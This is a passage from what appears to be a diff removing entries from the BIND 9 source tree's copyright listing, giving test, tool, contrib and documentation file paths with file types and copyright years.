-./bin/tests/system/statistics/setup.sh		SH	2018,2019,2020,2021
-./bin/tests/system/statistics/tests.sh		SH	2012,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/statschannel/clean.sh	SH	2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/statschannel/conftest.py	PYTHON	2020,2021
-./bin/tests/system/statschannel/fetch.pl	PERL	2015,2016,2018,2019,2020,2021
-./bin/tests/system/statschannel/generic.py	PYTHON	2020,2021
-./bin/tests/system/statschannel/helper.py	PYTHON	2020,2021
-./bin/tests/system/statschannel/mem-xml.pl	PERL	2017,2018,2019,2020,2021
-./bin/tests/system/statschannel/ns2/sign.sh	SH	2019,2020,2021
-./bin/tests/system/statschannel/server-json.pl	PERL	2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/statschannel/server-xml.pl	PERL	2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/statschannel/setup.sh	SH	2018,2019,2020,2021
-./bin/tests/system/statschannel/tests-json.py	PYTHON-BIN	2020,2021
-./bin/tests/system/statschannel/tests-xml.py	PYTHON-BIN	2020,2021
-./bin/tests/system/statschannel/tests.sh	SH	2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/statschannel/traffic-json.pl	PERL	2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/statschannel/traffic-xml.pl	PERL	2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/statschannel/traffic.expect.1	X	2015,2018,2019,2020,2021
-./bin/tests/system/statschannel/traffic.expect.2	X	2015,2018,2019,2020,2021
-./bin/tests/system/statschannel/traffic.expect.4	X	2015,2018,2019,2020,2021
-./bin/tests/system/statschannel/traffic.expect.5	X	2015,2016,2018,2019,2020,2021
-./bin/tests/system/statschannel/traffic.expect.6	X	2015,2016,2018,2019,2020,2021
-./bin/tests/system/statschannel/zones-json.pl	PERL	2019,2020,2021
-./bin/tests/system/statschannel/zones-xml.pl	PERL	2019,2020,2021
-./bin/tests/system/stop.pl			SH	2001,2004,2005,2006,2007,2012,2016,2017,2018,2019,2020,2021
-./bin/tests/system/stop.sh.in			X	2000,2001,2004,2007,2012,2016,2018,2019,2020
-./bin/tests/system/stopall.sh			SH	2018,2019,2020,2021
-./bin/tests/system/stress/clean.sh		SH	2000,2001,2004,2007,2012,2014,2016,2018,2019,2020,2021
-./bin/tests/system/stress/setup.pl		PERL	2000,2001,2004,2007,2012,2016,2018,2019,2020,2021
-./bin/tests/system/stress/setup.sh		SH	2000,2001,2004,2007,2012,2016,2018,2019,2020,2021
-./bin/tests/system/stress/tests.sh		SH	2000,2001,2004,2007,2012,2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/stress/update.pl		PERL	2000,2001,2004,2007,2012,2016,2018,2019,2020,2021
-./bin/tests/system/stub/clean.sh		SH	2000,2001,2004,2007,2012,2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/stub/knowngood.dig.out.norec	X	2000,2001,2018,2019,2020,2021
-./bin/tests/system/stub/knowngood.dig.out.rec	X	2000,2001,2013,2018,2019,2020,2021
-./bin/tests/system/stub/setup.sh		SH	2018,2019,2020,2021
-./bin/tests/system/stub/tests.sh		SH	2000,2001,2004,2007,2011,2012,2013,2016,2018,2019,2020,2021
-./bin/tests/system/synthfromdnssec/clean.sh	SH	2017,2018,2019,2020,2021
-./bin/tests/system/synthfromdnssec/ns1/sign.sh	SH	2017,2018,2019,2020,2021
-./bin/tests/system/synthfromdnssec/setup.sh	SH	2017,2018,2019,2020,2021
-./bin/tests/system/synthfromdnssec/tests.sh	SH	2017,2018,2019,2020,2021
-./bin/tests/system/tcp/1996-alloc_dnsbuf-crash-test.pkt	X	2020,2021
-./bin/tests/system/tcp/ans6/ans.py		PYTHON	2019,2020,2021
-./bin/tests/system/tcp/clean.sh			SH	2014,2016,2018,2019,2020,2021
-./bin/tests/system/tcp/setup.sh			SH	2018,2019,2020,2021
-./bin/tests/system/tcp/tests.sh			SH	2014,2016,2018,2019,2020,2021
-./bin/tests/system/testcrypto.sh		SH	2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/testsock.pl			PERL	2000,2001,2004,2007,2010,2011,2012,2013,2016,2018,2019,2020,2021
-./bin/tests/system/testsock6.pl			PERL	2010,2012,2014,2016,2018,2019,2020,2021
-./bin/tests/system/testsummary.sh		SH	2018,2019,2020,2021
-./bin/tests/system/timeouts/clean.sh		SH	2021
-./bin/tests/system/timeouts/conftest.py		PYTHON	2021
-./bin/tests/system/timeouts/ns1/named.args	X	2021
-./bin/tests/system/timeouts/prereq.sh		SH	2021
-./bin/tests/system/timeouts/setup.sh		SH	2021
-./bin/tests/system/timeouts/tests-tcp.py	PYTHON-BIN	2021
-./bin/tests/system/tkey/clean.sh		SH	2001,2004,2007,2011,2012,2013,2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/tkey/keycreate.c		C	2001,2004,2005,2007,2009,2011,2012,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/tkey/keydelete.c		C	2001,2004,2005,2007,2009,2010,2011,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/tkey/ns1/setup.sh		SH	2001,2004,2007,2009,2012,2014,2016,2018,2019,2020,2021
-./bin/tests/system/tkey/setup.sh		SH	2001,2004,2007,2009,2012,2013,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/tkey/tests.sh		SH	2001,2004,2007,2009,2011,2012,2013,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/tools/clean.sh		SH	2017,2018,2019,2020,2021
-./bin/tests/system/tools/setup.sh		SH	2019,2020,2021
-./bin/tests/system/tools/tests.sh		SH	2017,2018,2019,2020,2021
-./bin/tests/system/tsig/ans2/ans.pl		PERL	2020,2021
-./bin/tests/system/tsig/badlocation		X	2020,2021
-./bin/tests/system/tsig/badtime			X	2020,2021
-./bin/tests/system/tsig/clean.sh		SH	2005,2006,2007,2012,2014,2016,2018,2019,2020,2021
-./bin/tests/system/tsig/setup.sh		SH	2016,2017,2018,2019,2020,2021
-./bin/tests/system/tsig/tests.sh		SH	2005,2006,2007,2011,2012,2016,2018,2019,2020,2021
-./bin/tests/system/tsiggss/authsock.pl		PERL	2011,2012,2016,2018,2019,2020,2021
-./bin/tests/system/tsiggss/clean.sh		SH	2010,2011,2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/tsiggss/ns1/administrator.ccache	X	2010,2018,2019,2020,2021
-./bin/tests/system/tsiggss/ns1/dns.keytab	X	2010,2018,2019,2020,2021
-./bin/tests/system/tsiggss/ns1/example.nil.db.in	X	2011,2018,2019
-./bin/tests/system/tsiggss/ns1/testdenied.ccache	X	2010,2018,2019,2020,2021
-./bin/tests/system/tsiggss/prereq.sh		SH	2010,2011,2012,2014,2016,2018,2019,2020,2021
-./bin/tests/system/tsiggss/setup.sh		SH	2010,2011,2012,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/tsiggss/tests.sh		SH	2010,2011,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/ttl/clean.sh			X	2018,2019,2020,2021
-./bin/tests/system/ttl/ns1/max-example.db	X	2018,2019
-./bin/tests/system/ttl/ns1/min-example.db	X	2018,2019
-./bin/tests/system/ttl/ns1/named.conf.in	X	2018,2019
-./bin/tests/system/ttl/ns2/hints.db		X	2018,2019
-./bin/tests/system/ttl/ns2/named.conf.in	X	2018,2019
-./bin/tests/system/ttl/setup.sh			X	2018,2019,2020,2021
-./bin/tests/system/ttl/tests.sh			X	2018,2019,2020,2021
-./bin/tests/system/unknown/clean.sh		SH	2000,2001,2004,2007,2012,2013,2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/unknown/large.out		X	2012,2018,2019,2020,2021
-./bin/tests/system/unknown/ns3/sign.sh		SH	2012,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/unknown/setup.sh		SH	2012,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/unknown/tests.sh		SH	2000,2001,2004,2007,2011,2012,2013,2016,2018,2019,2020,2021
-./bin/tests/system/unknown/zones/nan.bad	X	2018,2019,2020,2021
-./bin/tests/system/upforwd/ans4/ans.pl		PERL	2011,2012,2016,2018,2019,2020,2021
-./bin/tests/system/upforwd/clean.sh		SH	2000,2001,2004,2007,2011,2012,2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/upforwd/knowngood.after1	X	2000,2001,2018,2019,2020,2021
-./bin/tests/system/upforwd/knowngood.after2	X	2000,2001,2018,2019,2020,2021
-./bin/tests/system/upforwd/knowngood.before	X	2000,2001,2018,2019,2020,2021
-./bin/tests/system/upforwd/knowngood.ns2.before	X	2000,2001,2018,2019,2020,2021
-./bin/tests/system/upforwd/setup.sh		SH	2000,2001,2004,2007,2011,2012,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/upforwd/tests.sh		SH	2000,2001,2004,2007,2011,2012,2013,2014,2016,2018,2019,2020,2021
-./bin/tests/system/verify/clean.sh		SH	2012,2014,2016,2018,2019,2020,2021
-./bin/tests/system/verify/setup.sh		SH	2012,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/verify/tests.sh		SH	2012,2013,2016,2017,2018,2019,2020,2021
-./bin/tests/system/verify/zones/genzones.sh	SH	2012,2013,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/views/clean.sh		SH	2000,2001,2004,2005,2007,2012,2013,2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/views/setup.sh		SH	2000,2001,2004,2007,2012,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/views/tests.sh		SH	2000,2001,2004,2007,2012,2013,2014,2016,2018,2019,2020,2021
-./bin/tests/system/wildcard/clean.sh		SH	2012,2013,2014,2016,2018,2019,2020,2021
-./bin/tests/system/wildcard/ns1/sign.sh		SH	2012,2013,2014,2016,2018,2019,2020,2021
-./bin/tests/system/wildcard/setup.sh		SH	2012,2014,2016,2017,2018,2019,2020,2021
-./bin/tests/system/wildcard/tests.sh		SH	2012,2013,2016,2018,2019,2020,2021
-./bin/tests/system/xfer/ans5/badkeydata		X	2011,2018,2019,2020,2021
-./bin/tests/system/xfer/ans5/badmessageid	X	2020,2021
-./bin/tests/system/xfer/ans5/goodaxfr		X	2011,2018,2019,2020,2021
-./bin/tests/system/xfer/ans5/partial		X	2011,2018,2019,2020,2021
-./bin/tests/system/xfer/ans5/soamismatch	X	2021
-./bin/tests/system/xfer/ans5/unknownkey		X	2011,2018,2019,2020,2021
-./bin/tests/system/xfer/ans5/unsigned		X	2011,2018,2019,2020,2021
-./bin/tests/system/xfer/ans5/wrongkey		X	2011,2018,2019,2020,2021
-./bin/tests/system/xfer/ans5/wrongname		X	2020,2021
-./bin/tests/system/xfer/axfr-stats.good		X	2019,2020,2021
-./bin/tests/system/xfer/clean.sh		SH	2000,2001,2004,2007,2011,2012,2013,2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/xfer/dig1.good		X	2000,2001,2003,2004,2009,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/xfer/dig2.good		X	2000,2001,2003,2004,2009,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/xfer/knowngood.mapped	X	2016,2018,2019,2020,2021
-./bin/tests/system/xfer/ns4/named.conf.base	X	2011,2013,2016,2018,2019,2020,2021
-./bin/tests/system/xfer/setup.sh		SH	2001,2002,2004,2007,2011,2012,2013,2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/xfer/tests.sh		SH	2000,2001,2004,2005,2007,2011,2012,2013,2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/xferquota/clean.sh		SH	2000,2001,2004,2007,2012,2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/xferquota/setup.pl		PERL	2000,2001,2004,2007,2011,2012,2016,2018,2019,2020,2021
-./bin/tests/system/xferquota/setup.sh		SH	2000,2001,2004,2007,2012,2016,2018,2019,2020,2021
-./bin/tests/system/xferquota/tests.sh		SH	2000,2001,2004,2007,2012,2016,2018,2019,2020,2021
-./bin/tests/system/zero/ans5/ans.pl		PERL	2016,2018,2019,2020,2021
-./bin/tests/system/zero/clean.sh		SH	2013,2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/zero/ns2/named.args		X	2021
-./bin/tests/system/zero/ns3/named.args		X	2021
-./bin/tests/system/zero/ns4/named.args		X	2021
-./bin/tests/system/zero/setup.sh		SH	2013,2014,2016,2018,2019,2020,2021
-./bin/tests/system/zero/tests.sh		SH	2013,2016,2017,2018,2019,2020,2021
-./bin/tests/system/zonechecks/clean.sh		SH	2004,2007,2012,2014,2015,2016,2018,2019,2020,2021
-./bin/tests/system/zonechecks/setup.sh		SH	2012,2013,2014,2015,2016,2017,2018,2019,2020,2021
-./bin/tests/system/zonechecks/tests.sh		SH	2004,2007,2009,2012,2013,2014,2015,2016,2018,2019,2020,2021
-./bin/tests/test_client.c			C	2021
-./bin/tests/test_server.c			C	2021
-./bin/tests/testdata/wire/wire_test.data	X	1999,2000,2001,2018,2019
-./bin/tests/testdata/wire/wire_test.data2	X	1999,2000,2001,2018,2019
-./bin/tests/testdata/wire/wire_test.data3	X	1999,2000,2001,2018,2019
-./bin/tests/testdata/wire/wire_test.data4	X	1999,2000,2001,2018,2019
-./bin/tests/wire_test.c				C	1999,2000,2001,2004,2005,2007,2015,2016,2018,2019,2020,2021
-./bin/tools/arpaname.c				C	2009,2015,2016,2018,2019,2020,2021
-./bin/tools/arpaname.rst			RST	2020,2021
-./bin/tools/dnstap-read.c			C	2015,2016,2017,2018,2019,2020,2021
-./bin/tools/dnstap-read.rst			RST	2020,2021
-./bin/tools/mdig.c				C	2015,2016,2017,2018,2019,2020,2021
-./bin/tools/mdig.rst				RST	2020,2021
-./bin/tools/named-journalprint.c		C	2000,2001,2004,2005,2006,2007,2008,2009,2015,2016,2018,2019,2020,2021
-./bin/tools/named-journalprint.rst		RST	2020,2021
-./bin/tools/named-nzd2nzf.c			C	2016,2017,2018,2019,2020,2021
-./bin/tools/named-nzd2nzf.rst			RST	2020,2021
-./bin/tools/named-rrchecker.c			C	2013,2015,2016,2017,2018,2019,2020,2021
-./bin/tools/named-rrchecker.rst			RST	2020,2021
-./bin/tools/nsec3hash.c				C	2006,2008,2009,2011,2014,2016,2017,2018,2019,2020,2021
-./bin/tools/nsec3hash.rst			RST	2020,2021
-./bind.keys					X	2009,2010,2011,2017,2018,2019,2020,2021
-./conftools/perllib/dnsconf/DNSConf-macros.h	C	2000,2001,2004,2007,2016,2018,2019,2020,2021
-./conftools/perllib/dnsconf/DNSConf.i		C	2000,2001,2004,2007,2016,2018,2019,2020,2021
-./conftools/perllib/dnsconf/Makefile.PL		PERL	2000,2001,2004,2007,2012,2016,2018,2019,2020,2021
-./conftools/perllib/dnsconf/test.pl		PERL	2000,2001,2004,2007,2012,2016,2018,2019,2020,2021
-./contrib/README				X	2014,2015,2016,2017,2018,2019,2020,2021
-./contrib/dane/mkdane.sh			X	2012,2018,2019,2020,2021
-./contrib/dane/tlsa6698.pem			X	2012,2018,2019,2020,2021
-./contrib/dlz/bin/dlzbdb/dlzbdb.c		X	2005,2016,2018,2019,2020,2021
-./contrib/dlz/config.dlz.in			X	2005,2006,2008,2010,2011,2014,2016,2017,2018,2019,2020
-./contrib/dlz/drivers/dlz_bdb_driver.c		X	2005,2008,2010,2011,2012,2016,2017,2018,2019,2020,2021
-./contrib/dlz/drivers/dlz_bdbhpt_driver.c	X	2005,2010,2011,2012,2016,2017,2018,2019,2020,2021
-./contrib/dlz/drivers/dlz_dlopen_driver.c	X	2010,2011,2018,2019,2020,2021
-./contrib/dlz/drivers/dlz_drivers.c		X	2005,2010,2011,2018,2019,2020,2021
-./contrib/dlz/drivers/dlz_filesystem_driver.c	X	2005,2010,2011,2012,2016,2017,2018,2019,2020,2021
-./contrib/dlz/drivers/dlz_ldap_driver.c		X	2005,2010,2011,2012,2016,2017,2018,2019,2020,2021
-./contrib/dlz/drivers/dlz_mysql_driver.c	X	2005,2007,2009,2010,2011,2012,2016,2017,2018,2019,2020,2021
-./contrib/dlz/drivers/dlz_odbc_driver.c		X	2005,2010,2011,2012,2014,2016,2017,2018,2019,2020,2021
-./contrib/dlz/drivers/dlz_postgres_driver.c	X	2005,2007,2010,2011,2012,2014,2016,2017,2018,2019,2020,2021
-./contrib/dlz/drivers/dlz_stub_driver.c		X	2005,2010,2011,2012,2016,2017,2018,2019,2020,2021
-./contrib/dlz/drivers/include/dlz/dlz_bdb_driver.h	X	2005,2018,2019,2020,2021
-./contrib/dlz/drivers/include/dlz/dlz_bdbhpt_driver.h	X	2005,2018,2019,2020,2021
-./contrib/dlz/drivers/include/dlz/dlz_dlopen_driver.h	X	2010,2011,2018,2019,2020,2021
-./contrib/dlz/drivers/include/dlz/dlz_drivers.h	X	2005,2018,2019,2020,2021
-./contrib/dlz/drivers/include/dlz/dlz_filesystem_driver.h	X	2005,2018,2019,2020,2021
-./contrib/dlz/drivers/include/dlz/dlz_ldap_driver.h	X	2005,2018,2019,2020,2021
-./contrib/dlz/drivers/include/dlz/dlz_mysql_driver.h	X	2005,2018,2019,2020,2021
-./contrib/dlz/drivers/include/dlz/dlz_odbc_driver.h	X	2005,2018,2019,2020,2021
-./contrib/dlz/drivers/include/dlz/dlz_postgres_driver.h	X	2005,2018,2019,2020,2021
-./contrib/dlz/drivers/include/dlz/dlz_stub_driver.h	X	2005,2018,2019,2020,2021
-./contrib/dlz/drivers/include/dlz/sdlz_helper.h	X	2005,2017,2018,2019,2020,2021
-./contrib/dlz/drivers/rules.in			X	2005,2010,2018,2019,2020
-./contrib/dlz/drivers/sdlz_helper.c		X	2005,2010,2011,2012,2016,2018,2019,2020,2021
-./contrib/dlz/example/Makefile			X	2010,2013,2018,2019,2020,2021
-./contrib/dlz/example/README			X	2011,2012,2013,2014,2018,2019,2020,2021
-./contrib/dlz/example/dlz_example.c		X	2010,2011,2012,2013,2014,2018,2019,2020,2021
-./contrib/dlz/example/named.conf		X	2011,2014,2018,2019
-./contrib/dlz/modules/bdbhpt/Makefile		X	2013,2018,2019,2020,2021
-./contrib/dlz/modules/bdbhpt/dlz_bdbhpt_dynamic.c	X	2013,2015,2018,2019,2020,2021
-./contrib/dlz/modules/bdbhpt/testing/README	X	2015,2018,2019,2020,2021
-./contrib/dlz/modules/bdbhpt/testing/bdbhpt-populate.pl	X	2013,2018,2019,2020,2021
-./contrib/dlz/modules/bdbhpt/testing/dns-data.txt	X	2013,2015,2018,2019
-./contrib/dlz/modules/bdbhpt/testing/named.conf	X	2015,2018,2019
-./contrib/dlz/modules/common/dlz_dbi.c		X	2013,2014,2016,2018,2019,2020,2021
-./contrib/dlz/modules/filesystem/Makefile	X	2013,2018,2019,2020,2021
-./contrib/dlz/modules/filesystem/dir.c		X	2013,2018,2019,2020,2021
-./contrib/dlz/modules/filesystem/dir.h		X	2013,2018,2019,2020,2021
-./contrib/dlz/modules/filesystem/dlz_filesystem_dynamic.c	X	2013,2015,2016,2018,2019,2020,2021
-./contrib/dlz/modules/include/dlz_dbi.h		X	2013,2018,2019,2020,2021
-./contrib/dlz/modules/include/dlz_list.h	X	2013,2016,2018,2019,2020,2021
-./contrib/dlz/modules/include/dlz_minimal.h	X	2013,2014,2018,2019,2020,2021
-./contrib/dlz/modules/include/dlz_pthread.h	X	2013,2014,2015,2018,2019,2020,2021
-./contrib/dlz/modules/ldap/Makefile		X	2013,2018,2019,2020,2021
-./contrib/dlz/modules/ldap/dlz_ldap_dynamic.c	X	2013,2016,2018,2019,2020,2021
-./contrib/dlz/modules/ldap/testing/README	X	2013,2018,2019,2020,2021
-./contrib/dlz/modules/ldap/testing/dlz.schema	X	2013,2018,2019,2020,2021
-./contrib/dlz/modules/ldap/testing/example.ldif	X	2013,2018,2019,2020,2021
-./contrib/dlz/modules/ldap/testing/named.conf	X	2013,2018,2019
-./contrib/dlz/modules/ldap/testing/slapd.conf	X	2013,2018,2019
-./contrib/dlz/modules/mysql/dlz_mysql_dynamic.c	X	2013,2016,2018,2019,2020,2021
-./contrib/dlz/modules/mysql/testing/README	X	2013,2018,2019,2020,2021
-./contrib/dlz/modules/mysql/testing/dlz.data	X	2013,2017,2018,2019
-./contrib/dlz/modules/mysql/testing/dlz.schema	X	2013,2018,2019,2020,2021
-./contrib/dlz/modules/mysql/testing/named.conf	X	2013,2018,2019
-./contrib/dlz/modules/mysqldyn/README		X	2014,2018,2019,2020,2021
-./contrib/dlz/modules/mysqldyn/dlz_mysqldyn_mod.c	X	2014,2015,2018,2019,2020,2021
-./contrib/dlz/modules/mysqldyn/testing/README	X	2014,2018,2019,2020,2021
-./contrib/dlz/modules/mysqldyn/testing/dlz.data	X	2014,2018,2019
-./contrib/dlz/modules/mysqldyn/testing/dlz.schema	X	2014,2018,2019,2020,2021
-./contrib/dlz/modules/mysqldyn/testing/named.conf	X	2014,2018,2019
-./contrib/dlz/modules/perl/Makefile		X	2013,2018,2019,2020,2021
-./contrib/dlz/modules/perl/README		X	2013,2018,2019,2020,2021
-./contrib/dlz/modules/perl/dlz_perl_callback.xs	X	2013,2018,2019,2020,2021
-./contrib/dlz/modules/perl/dlz_perl_callback_clientinfo.xs	X	2013,2018,2019,2020,2021
-./contrib/dlz/modules/perl/dlz_perl_driver.c	X	2013,2015,2016,2018,2019,2020,2021
-./contrib/dlz/modules/perl/dlz_perl_driver.h	X	2013,2018,2019,2020,2021
-./contrib/dlz/modules/perl/testing/dlz_perl_example.pm	X	2013,2018,2019,2020,2021
-./contrib/dlz/modules/perl/testing/named.conf	X	2013,2018,2019
-./contrib/dlz/modules/sqlite3/Makefile		X	2014,2018,2019,2020,2021
-./contrib/dlz/modules/sqlite3/dlz_sqlite3_dynamic.c	X	2014,2016,2018,2019,2020,2021
-./contrib/dlz/modules/sqlite3/testing/README	X	2014,2018,2019,2020,2021
-./contrib/dlz/modules/sqlite3/testing/dlz.data	X	2014,2018,2019
-./contrib/dlz/modules/sqlite3/testing/dlz.schema	X	2014,2018,2019,2020,2021
-./contrib/dlz/modules/sqlite3/testing/named.conf	X	2014,2018,2019
-./contrib/dlz/modules/wildcard/Makefile		X	2013,2018,2019,2020,2021
-./contrib/dlz/modules/wildcard/README		X	2013,2018,2019,2020,2021
-./contrib/dlz/modules/wildcard/dlz_wildcard_dynamic.c	X	2013,2015,2016,2018,2019,2020,2021
-./contrib/dlz/modules/wildcard/testing/named.conf	X	2013,2018,2019
-./contrib/dnspriv/nginx.conf			SH	2017,2018,2019
-./contrib/kasp/README				X	2020,2021
-./contrib/kasp/kasp.xml				X	2020,2021
-./contrib/kasp/policy.good			X	2020,2021
-./contrib/scripts/catzhash.py			X	2020,2021
-./contrib/scripts/check-secure-delegation.pl.in	PERL	2010,2012,2014,2016,2018,2019,2020
-./contrib/scripts/check5011.pl			X	2013,2014,2017,2018,2019,2020,2021
-./contrib/scripts/dnssec-keyset.sh		X	2015,2018,2019,2020,2021
-./contrib/scripts/named-bootconf.sh		SH.PORTION	1999,2000,2001,2004,2006,2007,2012,2014,2016,2018,2019,2020,2021
-./contrib/scripts/nanny.pl			PERL	2000,2001,2004,2007,2012,2014,2016,2018,2019,2020,2021
-./contrib/scripts/zone-edit.sh.in		SH	2010,2012,2014,2016,2018,2019,2020
-./dangerfile.py					PYTHON	2020,2021
-./doc/arm/advanced.rst				RST	2020,2021
-./doc/arm/catz.rst				RST	2020,2021
-./doc/arm/conf.py				PYTHON	2020,2021
-./doc/arm/configuration.rst			RST	2020,2021
-./doc/arm/dlz.rst				RST	2020,2021
-./doc/arm/dnssec-guide.rst			RST	2021
-./doc/arm/dnssec.rst				RST	2020,2021
-./doc/arm/dyndb.rst				RST	2020,2021
-./doc/arm/general.rst				RST	2020,2021
-./doc/arm/history.rst				RST	2020,2021
-./doc/arm/index.rst				RST	2020,2021
-./doc/arm/introduction.rst			RST	2020,2021
-./doc/arm/isc-logo.pdf				X	2005,2010,2018,2019,2020,2021
-./doc/arm/logging-categories.rst		RST	2020,2021
-./doc/arm/managed-keys.rst			RST	2020,2021
-./doc/arm/manpages.rst				RST	2020,2021
-./doc/arm/notes.rst				RST	2020,2021
-./doc/arm/pkcs11.rst				RST	2020,2021
-./doc/arm/plugins.rst				RST	2020,2021
-./doc/arm/reference.rst				RST	2020,2021
-./doc/arm/requirements.rst			RST	2020,2021
-./doc/arm/security.rst				RST	2020,2021
-./doc/arm/troubleshooting.rst			RST	2020,2021
-./doc/design/addressdb				TXT.BRIEF	2000,2001,2004,2016,2018,2019,2020,2021
-./doc/design/cds-child				TXT.BRIEF	2015,2016,2018,2019,2020,2021
-./doc/design/compression			TXT.BRIEF	1999,2000,2001,2004,2016,2018,2019,2020,2021
-./doc/design/database				TXT.BRIEF	1999,2000,2001,2004,2016,2018,2019,2020,2021
-./doc/design/db_rules				TXT.BRIEF	1999,2000,2001,2004,2016,2018,2019,2020,2021
-./doc/design/decompression			TXT.BRIEF	1999,2000,2001,2004,2016,2018,2019,2020,2021
-./doc/design/dispatch				TXT.BRIEF	2000,2001,2004,2016,2018,2019,2020,2021
-./doc/design/dnssec-policy			TXT.BRIEF	2019,2020,2021
-./doc/design/dscp				TXT.BRIEF	2013,2016,2018,2019,2020,2021
-./doc/design/keydone				TXT.BRIEF	2011,2016,2018,2019,2020,2021
-./doc/design/logging				TXT.BRIEF	1999,2000,2001,2004,2016,2018,2019,2020,2021
-./doc/design/ncache				TXT.BRIEF	1999,2000,2001,2004,2016,2018,2019,2020,2021
-./doc/design/rdataset				TXT.BRIEF	1999,2000,2001,2004,2016,2018,2019,2020,2021
-./doc/design/red-black				TXT.BRIEF	1999,2000,2001,2004,2016,2018,2019,2020,2021
-./doc/design/resolver				TXT.BRIEF	1999,2000,2001,2004,2016,2018,2019,2020,2021
-./doc/design/search				TXT.BRIEF	1999,2000,2001,2004,2016,2018,2019,2020,2021
-./doc/design/tasks				TXT.BRIEF	1999,2000,2001,2004,2016,2018,2019,2020,2021
-./doc/design/unsupported-algorithms-in-bind9	TXT.BRIEF	2019,2020,2021
-./doc/design/verify				TXT.BRIEF	2012,2016,2018,2019,2020,2021
-./doc/design/zone				TXT.BRIEF	1999,2000,2001,2004,2016,2018,2019,2020,2021
-./doc/dev/DBC					TXT.BRIEF	1999,2000,2001,2004,2016,2018,2019,2020,2021
-./doc/dev/autoconf				TXT.BRIEF	2001,2002,2004,2016,2018,2019,2020,2021
-./doc/dev/cvs-usage				TXT.BRIEF	2000,2001,2004,2016,2018,2019,2020,2021
-./doc/dev/magic_numbers				TXT.BRIEF	1999,2000,2001,2002,2004,2016,2018,2019,2020,2021
-./doc/dev/rdata.md				MKD	1999,2000,2001,2004,2007,2016,2017,2018,2019
-./doc/dev/release				TXT.BRIEF	2000,2001,2002,2003,2004,2005,2006,2007,2009,2014,2016,2018,2019,2020,2021
-./doc/dev/results				TXT.BRIEF	1999,2000,2001,2004,2016,2018,2019,2020,2021
-./doc/dev/tests					TXT.BRIEF	2000,2001,2004,2016,2018,2019,2020,2021
-./doc/dev/unexpected				TXT.BRIEF	1999,2000,2001,2004,2016,2018,2019,2020,2021
-./doc/dnssec-guide/advanced-discussions.rst	RST	2021
-./doc/dnssec-guide/commonly-asked-questions.rst	RST	2021
-./doc/dnssec-guide/getting-started.rst		RST	2021
-./doc/dnssec-guide/introduction.rst		RST	2021
-./doc/dnssec-guide/preface.rst			RST	2021
-./doc/dnssec-guide/recipes.rst			RST	2021
-./doc/dnssec-guide/signing.rst			RST	2021
-./doc/dnssec-guide/troubleshooting.rst		RST	2021
-./doc/dnssec-guide/validation.rst		RST	2021
-./doc/doxygen/Doxyfile.in			X	2006,2017,2018,2019,2020
-./doc/doxygen/doxygen-input-filter.in		PERL	2006,2007,2012,2016,2018,2019,2020
-./doc/doxygen/mainpage				X	2006,2018,2019,2020,2021
-./doc/man/arpaname.rst				RST	2020,2021
-./doc/man/conf.py				PYTHON	2020,2021
-./doc/man/ddns-confgen.rst			RST	2020,2021
-./doc/man/delv.rst				RST	2020,2021
-./doc/man/dig.rst				RST	2020,2021
-./doc/man/dnssec-cds.rst			RST	2020,2021
-./doc/man/dnssec-dsfromkey.rst			RST	2020,2021
-./doc/man/dnssec-importkey.rst			RST	2020,2021
-./doc/man/dnssec-keyfromlabel.rst		RST	2020,2021
-./doc/man/dnssec-keygen.rst			RST	2020,2021
-./doc/man/dnssec-revoke.rst			RST	2020,2021
-./doc/man/dnssec-settime.rst			RST	2020,2021
-./doc/man/dnssec-signzone.rst			RST	2020,2021
-./doc/man/dnssec-verify.rst			RST	2020,2021
-./doc/man/dnstap-read.rst			RST	2020,2021
-./doc/man/filter-a.rst				RST	2020,2021
-./doc/man/filter-aaaa.rst			RST	2020,2021
-./doc/man/host.rst				RST	2020,2021
-./doc/man/index.rst				RST	2020,2021
-./doc/man/mdig.rst				RST	2020,2021
-./doc/man/named-checkconf.rst			RST	2020,2021
-./doc/man/named-checkzone.rst			RST	2020,2021
-./doc/man/named-compilezone.rst			RST	2021
-./doc/man/named-journalprint.rst		RST	2020,2021
-./doc/man/named-nzd2nzf.rst			RST	2020,2021
-./doc/man/named-rrchecker.rst			RST	2020,2021
-./doc/man/named.conf.rst			RST	2020,2021
-./doc/man/named.rst				RST	2020,2021
-./doc/man/nsec3hash.rst				RST	2020,2021
-./doc/man/nslookup.rst				RST	2020,2021
-./doc/man/nsupdate.rst				RST	2020,2021
-./doc/man/pkcs11-destroy.rst			RST	2020,2021
-./doc/man/pkcs11-keygen.rst			RST	2020,2021
-./doc/man/pkcs11-list.rst			RST	2020,2021
-./doc/man/pkcs11-tokens.rst			RST	2020,2021
-./doc/man/rndc-confgen.rst			RST	2020,2021
